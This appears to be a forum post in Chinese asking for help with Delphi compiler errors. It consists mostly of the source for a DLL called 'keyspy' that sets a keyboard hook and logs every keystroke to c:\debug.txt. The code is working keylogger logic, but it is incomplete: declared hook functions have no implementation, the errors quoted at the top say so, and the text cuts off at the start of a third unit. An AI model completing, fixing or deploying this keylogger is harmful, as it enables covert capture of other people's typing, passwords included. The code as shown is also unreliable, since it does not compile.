错误提示是: [Error] Hookproc.pas(9): Unsatisfied forward or external declaration: 'keyboardhook' [Error] Hookproc.pas(10): Unsatisfied forward or external declaration: 'setkeyhook' [Fatal Error] keyspy.dpr(19): Could not compile used unit 'Hookproc.pas'
----------------- library keyspy;
{ Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL exports any procedures or functions that pass strings as parameters or function results. This applies to all strings passed to and from your DLL--even those that are nested in records and classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory manager, which must be deployed along with your DLL. To avoid using BORLNDMM.DLL, pass string information using PChar or ShortString parameters. }
uses SysUtils, Classes, windows, messages, Hookproc in 'Hookproc.pas', Unit1 in 'Unit1.pas' {Form1};
{$R *.res} exports setkeyhook, endkeyhook;
begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit; end. ------------------------ unit Hookproc;
var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; function setkeyhook:bool;export;//加载钩子 function endkeyhook:bool;export;//卸载钩子 procedure keyhookexit;far; const afilename='c:\debug.txt';//将键盘输入动作写入文件中 var debugfile :textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; begin if icode<0 then begin result:=callnexthookex(nexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,''); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end;
function endkeyhook:bool;export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=nexthookproc=0; end; procedure keyhookexit;far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end. ------------------------------------- unit Unit1;